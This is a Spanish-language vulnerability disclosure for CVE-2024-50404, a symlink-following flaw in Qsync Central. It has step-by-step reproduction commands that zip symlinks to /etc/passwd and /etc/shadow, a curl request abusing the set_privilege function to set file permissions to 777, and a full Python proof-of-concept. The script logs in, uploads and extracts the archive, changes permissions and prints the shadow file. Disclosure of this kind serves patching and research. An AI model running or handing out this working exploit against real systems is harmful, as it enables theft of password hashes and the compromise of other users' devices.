
CVE-2024-50404
"Se ha informado de una vulnerabilidad de seguimiento de enlaces que afecta a Qsync Central. Si se explota, la vulnerabilidad podría permitir a atacantes remotos que hayan obtenido acceso de usuario recorrer el sistema de archivos hasta ubicaciones no deseadas."
Fecha de descubrimiento: 22 de abril de 2024
Fecha de corrección: 7 de diciembre de 2024
Versión(es) afectada(s): Qsync Central 4.4.x
Versión(es) corregida(s): Qsync Central 4.4.0.16_20240819 (19/08/2024) y posteriores
Permisos de acceso: Usuario normal con permiso de carga de archivos
Resumen:
Es posible cargar un enlace simbólico a través de un archivo ZIP y leer el archivo al que apunta el enlace simbólico cargado.
Además, se pueden modificar los permisos del archivo destino del enlace simbólico.
Un atacante con privilegios de usuario normal puede leer datos de otros usuarios o los hashes de contraseñas almacenados en /etc/config/shadow, lo que podría comprometer todo el sistema.
Además, el atacante podría eliminar el permiso de ejecución en binarios importantes del sistema para inutilizarlo.
Crea un enlace simbólico e inclúyelo en un archivo ZIP.
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
Inicia sesión como usuario con pocos privilegios.
Sube el archivo ZIP a la carpeta .Qsync.

Extrae el archivo ZIP haciendo clic derecho y seleccionando Extraer en /pwn/.

Abre la nueva carpeta pwn, haz clic derecho en link.txt y selecciona Abrir.
Observa que se abre /etc/passwd en una nueva pestaña.

Crea un enlace simbólico e inclúyelo en un archivo ZIP.
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
Inicia sesión como usuario con pocos privilegios.
Sube el archivo ZIP a la carpeta .Qsync.
Extrae el archivo ZIP haciendo clic derecho y seleccionando Extraer en /pwn/.
Cambia los permisos del archivo al que apunta el enlace simbólico abusando de la función set_privilege.
Solicitud Curl:
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
Solicitud Burp:

Debes reemplazar el parámetro sid en la URL con un ID de sesión válido.
Abre la nueva carpeta pwn, haz clic derecho en link.txt y selecciona Abrir.
Observa que se abre /etc/shadow en una nueva pestaña.
El siguiente script de Python se puede utilizar para explotar la vulnerabilidad.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')
print('creating zip file')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# wait a bit
time.sleep(5)
print('changing privileges on file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('read file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('done')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()
